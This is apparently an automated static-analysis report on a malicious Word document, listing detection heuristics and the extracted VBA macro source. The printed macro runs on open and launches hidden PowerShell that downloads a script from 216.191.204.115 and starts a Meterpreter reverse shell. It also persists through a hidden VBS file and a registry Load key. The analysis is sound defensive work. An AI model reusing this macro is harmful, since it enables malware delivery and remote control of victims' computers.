Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8ae04dcb34cdc7c9…

MALICIOUS

Office (OLE)

71.0 KB Created: 2015-08-17 18:49:00 Authoring application: Microsoft Office Word First seen: 2015-10-02
MD5: d80b55d1aae98c6512ed70324c6323a0 SHA-1: 511fcc85623fbf32497d5af6240f5d4dc7881fa0 SHA-256: 8ae04dcb34cdc7c93bbeb855640b6cb01f7f9b99aa8799ab5d6b21377de667bc
590 Risk Score

Heuristics 15

  • ClamAV: Win.Trojan.PowerShell-6312116-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.PowerShell-6312116-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        a.WriteLine ("Set objShell = WScript.CreateObject(""WScript.Shell"")")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://216.191.204.115/invokeShellCode.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 216.191.204.115 -Lport 443 -Force", Null, objConfig, intProcessID
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Sub AutoOpen()
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
            Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set fs = CreateObject("Scripting.FileSystemObject")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
            Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://216.191.204.115/invokeShellCode.ps1 In document text (OLE body)
    • http://216.191.204.115/invokeSIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3290 bytes
SHA-256: 11d9b8faed614c56a14078f4bae93c45cbf66d228744142cdd64b4cb8af4fac4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim DateStart, DateEnd
DateStart = DateSerial(2015, 8, 11)
DateEnd = DateSerial(2015, 9, 4)
If DateDiff("D", DateStart, Now) >= 0 And DateDiff("D", Now, DateEnd) >= 0 Then
    Execute
    Persist
    Reg
    Start
End If
End Sub

 Public Function Execute() As Variant
        Const HIDDEN_WINDOW = 0
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://216.191.204.115/invokeShellCode.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 216.191.204.115 -Lport 443 -Force", Null, objConfig, intProcessID
     End Function
     
Public Function Persist() As Variant
On Error Resume Next
SetAttr "C:\Users\Public\config.vbs", vbNormal
KillFile = "C:\Users\Public\config.vbs"
'Check that file exists
If Len(Dir$(KillFile)) > 0 Then
    'First remove readonly attribute, if set
    SetAttr KillFile, vbNormal
    'Then delete the file
    Kill KillFile
End If

 Set fs = CreateObject("Scripting.FileSystemObject")
    Set a = fs.CreateTextFile("C:\Users\Public\config.txt", True)
    a.WriteLine ("Dim objShell, DateStart, DateEnd")
    a.WriteLine ("DateStart = DateSerial(2015, 8, 11)")
    a.WriteLine ("DateEnd = DateSerial(2015, 9, 4)")
    a.WriteLine ("If DateDiff(""D"", DateStart, Now) >= 0 And DateDiff(""D"", Now, DateEnd) >= 0 Then")
    a.WriteLine ("Set objShell = WScript.CreateObject(""WScript.Shell"")")
    a.WriteLine ("command = ""C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -ep Bypass -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://216.191.204.115/invokeShellCode.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 216.191.204.115 -Lport 443 -Force""")
    a.WriteLine ("objShell.Run command,0")
    a.WriteLine ("Set objShell = Nothing")
    a.WriteLine ("End If")
    a.Close
    GivenLocation = "C:\Users\Public\"
    OldFileName = "config.txt"
    NewFileName = "config.vbs"
    Name GivenLocation & OldFileName As GivenLocation & NewFileName
    SetAttr "C:\Users\Public\config.vbs", vbHidden
End Function

Public Function Reg() As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load", "C:\Users\Public\config.vbs", "REG_SZ"
Set WshShell = Nothing

End Function

Public Function Start() As Variant
 Const HIDDEN_WINDOW = 0
        strComputer = "."
        'Shell "wscript C:\Users\Public\config.vbs", vbNormalFocus
      
End Function

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